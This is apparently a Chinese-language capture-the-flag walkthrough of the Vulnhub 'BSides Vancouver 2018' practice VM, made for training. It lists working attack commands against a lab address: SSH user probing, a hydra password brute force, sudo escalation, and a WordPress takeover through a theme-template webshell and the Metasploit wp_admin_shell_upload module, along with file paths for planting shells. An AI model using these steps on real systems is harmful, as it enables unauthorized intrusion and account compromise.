Vulnhub-靶机-BSides Vancouver: 2018 (Workshop)
本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现,本次是直接根据靶机目标给出的地址进行测试
目标靶机的下载地址:https://www.vulnhub.com/entry/bsides-vancouver-2018-workshop,231/
发现开放了3个端口,分别是21,22,80这3个端口,我们先尝试访问21端口看看
因为上述nmap的扫描结果已经探测出来可以匿名登陆,我直接使用匿名登陆的方式登陆成功并发现目录public,访问该目录看到文件users.txt.bk ,下载下来查看文件发现有可能是用户名,而且根据这个文件的命名格式也可确定是用户名,那么可以根据目标开放了22端口,可以使用ssh尝试登陆这些用户名试试
for user in $(cat users.txt.bk); do ssh $user@192.168.5.138; done
使用for循环尝试每个用户,发现只有anne是可以通过密码登陆,其他的用户均只能使用密钥登陆,那么我们尝试暴力破解密码试试
hydra -l anne -P /usr/share/wordlists/rockyou.txt -f -e nsr -o bsides.txt -t 4 ssh://192.168.5.138
发现账户名和密码
[22][ssh] host: 192.168.5.138 login: anne password: princess
这是关于hydra的参数解释:http://www.luxinzhi.com/safe/438.html
现在有了账户和密码那么我们就试试账户和密码使用ssh登陆看看
成功登陆,发现权限极大,可以通过sudo直接提权
使用sudo -i即可提权
---------------------------------------------------------------------------------------------------------------------------------------------------------------
另一种思路
访问web页面
尝试暴力猜解目录
dirb http://192.168.5.138
gobuster dir -u http://192.168.5.138 -w /usr/share/dirb/wordlists/common.txt
根据上述暴力破解目录发现的robots.txt文件,访问得到如下结果,这里在刚开始nmap扫描的结果也有体现
得到目录/backup_wordpress 尝试访问得到如下结果:
确认是个WordPress,那么我们使用wpscan来专门扫描一下
发现存在两个用户名john和admin
得到用户名和密码为:john / enigma
登陆到目标web应用直接改主题模板为webshell代码
获得webshell
也可以写入一句话拿shell方法是一样的
msf5 > use exploit/unix/webapp/wp_admin_shell_upload
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set rhost 192.168.5.138
rhost => 192.168.5.138
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set targeturi /backup_wordpress
targeturi => /backup_wordpress
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set username john
username => john
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set password enigma
password => enigma
msf5 exploit(unix/webapp/wp_admin_shell_upload) > run
拿到权限后,提权跟上面思路一样
常见的WordPress通过插件和主题获取webshell的路径
http://192.168.5.138/backup_wordpress/wp-content/plugins/akismet/akismet.php
http://192.168.5.138/backup_wordpress/wp-content/themes/twentysixteen/archive.php
http://192.168.5.138/backup_wordpress/wp-content/themes/twentysixteen/template-parts/content.php